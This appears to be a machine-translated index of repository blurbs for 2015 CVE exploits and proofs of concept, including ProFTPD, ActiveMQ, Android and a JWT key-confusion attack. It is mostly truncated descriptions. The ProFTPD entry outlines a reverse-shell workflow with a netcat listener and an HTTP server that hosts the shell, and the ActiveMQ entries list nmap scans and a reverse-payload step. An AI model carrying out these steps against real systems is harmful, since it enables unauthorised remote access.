Modified-CVE-2015-3306-Exploit

Modified-CVE-2015-3306-Exploit 如何使用 1. 创建一个 PHP 反向 shell 2. 启动服务器以在同一目录中托管 shell python3 -m http.server 3. 启动 netcat 监听器在本地选择的端口，例如：nc -nlvp port of choice 4. 运行以下提供的漏洞利用示例 python3 modifiedCVE20153306.py --host remote host --port most likely port 21 --path /var/www or /var/www/html --shell name o...

CVE-2015-2546-Exploit

CVE-2015-2546-Exploit My paper about CVE-2015-2546： http://bobao.360.cn/learning/detail/3184.html My blog：http://whereisk0shl.top...

ExtractKeyMaster

ExtractKeyMaster Exploit que extrae las claves KeyMaster de Qualcomm mediante CVE-2015-6639 y CVE-2016-2431...

ActiveMQ_CVE-2015-5254

ActiveMQ反序列化（CVE-2015-5254） 漏洞描述：Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞，该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message ServiceJMSObjectMessage对象利用该漏洞执行任意代码。 影响版本：Apache ActiveMQ 5.13.0之前的5.x版本 0x01 登陆后台确定版本： http://IP:8161 0x02 确定61616端口开放： nmap -sV -Pn -T4 -sC -p 61616 IP 0x03 发送反弹payload： java...

CVE-2015-3306-Python-PoC

CVE-2015-3306-Python-PoC Esto fue convertido con ajustes a partir de un módulo de metasploit como ejercicio para el estudio de OSCP y el desarrollo de exploits. Originalmente surgió de la búsqueda de módulos aleatorios de ejecución remota de comandos con searchsploit. Analicé el código de...

CVE-2015-8562

Este repositorio no tiene un README...

CVE-2015-0568

漏洞利用 针对CVE-2015-0568的漏洞利用 链接 codeaurora c0reteam...

cve-2015-6612poc-forM

cve-2015-6612 POC for M reportado por mí y @WenXu de Keen put this under ANDROIDSRCROOT/frameworks/av/media/decrytpoc/ and cd into it && calling mm...

CVE-2015-6637

CVE-2015-6637 PoC por Edward Hung Por favor, haga una copia de seguridad de su dispositivo mientras ejecuta el PoC https://source.android.com/security/bulletin/2016-01-01.html...

CVE-2015-3636

此存储库没有 README。...

CVE-2015-8660

CVE-2015-8660 这个代码包含了CVE-2015-8660漏洞的利用代码，还有注释，出现问题的源代码，打了补丁后的代码 具体代码解释,请查看我的博客 http://blog.csdn.net/enjoy5512/article/details/51155798...

CVE-2015-6640

CVE-2015-6640 由Edward Hung提供的PoC https://source.android.com/security/bulletin/2016-01-01.html https://android.googlesource.com/kernel/common/+/69bfe2d957d903521d32324190c2754cb073be15%5E%21/F0...

libunwind_CVE-2015-3239

-- mode: Outline - - 这是 unwind 库的版本 1.0。此库支持以下几种架构/操作系统组合： Linux/x86-64: 工作正常。 Linux/x86: 工作正常。 Linux/ARM: 工作正常。 Linux/IA-64: 经过充分测试并受支持。 Linux/PARISC: 工作正常，但 C 库缺少 unwind 信息。 HP-UX/IA-64: 大部分可用，但已知存在一些严重限制。 Linux/AArch64: 新添加。 Linux/PPC64: 新添加。 Linux/SuperH: 新添加。 FreeBSD/i386: 新添加。...

CVE-2015-5119_walkthrough

CVE-2015-5119演练...

wicker-cve-2015-5347

Este repositorio no tiene un README...

CVE-2015-2153

CVE-2015-2153 Una implementación del exploit CVE-2015-2153. La publicación en exploit-db se puede encontrar en https://www.exploit-db.com/exploits/37663/...

jwt-key-confusion-poc

JWT密钥混淆PoC CVE-2015-9235 为Hack the Box挑战 - Under Construction和Secret编写 这两个脚本均执行Java Web Token密钥混淆攻击CVE-2015-9235。 要执行该攻击，攻击者需要知道服务器用来验证签名的公钥，并且服务器配置为使用HS256算法。由于HS256是一种对称密钥算法（相同的密钥用于签名和验证消息），我们可以使用公钥来签名我们篡改的令牌。由于Web服务器知道公钥，当它收到篡改的令牌时，会能够验证它。 截图 使用方法 python3 jwt-9235.py -h tokenlocation claimkey...

Exploitation-de-la-vuln-rabilit-CVE-2015-5254-

利用CVE-2015-5254漏洞 CVE-2015-5254漏洞是Apache ActiveMQ中的一个安全缺陷，ActiveMQ是一个广泛用于应用程序间通信的开源消息服务器。该漏洞影响ActiveMQ至5.13.0版本，其根源在于对发送的JMS ObjectMessage输入数据缺乏过滤。 网络扫描： nmap -p 61616 -Pn -T5 -n -sC -sV 172.17.0.1 通过其下载的docker文件夹启动ActiveMQ 2015： 我们检查ActiveMQ的版本： 它是5.11.1版本 漏洞利用： 对于这个漏洞，我们将使用以下命令： root@kitploit:...

ansible-CVE-2015-0235-GHOST

Este repositorio no tiene un README...

Stagefright-cve-2015-1538-1

Stagefright-cve-2015-1538-1 Descubierto por Joshua J. Drake @jduck de ZIMPERIUM zLabs y su proyecto fue corregido por Niranjan Shrestha @niranjanshr13. Exploit para la vulnerabilidad RCE CVE-2015-1538 1 Desbordamiento de enteros en el manejo del átomo 'stsc' de MP4 en libstagefright ¡No olvides q...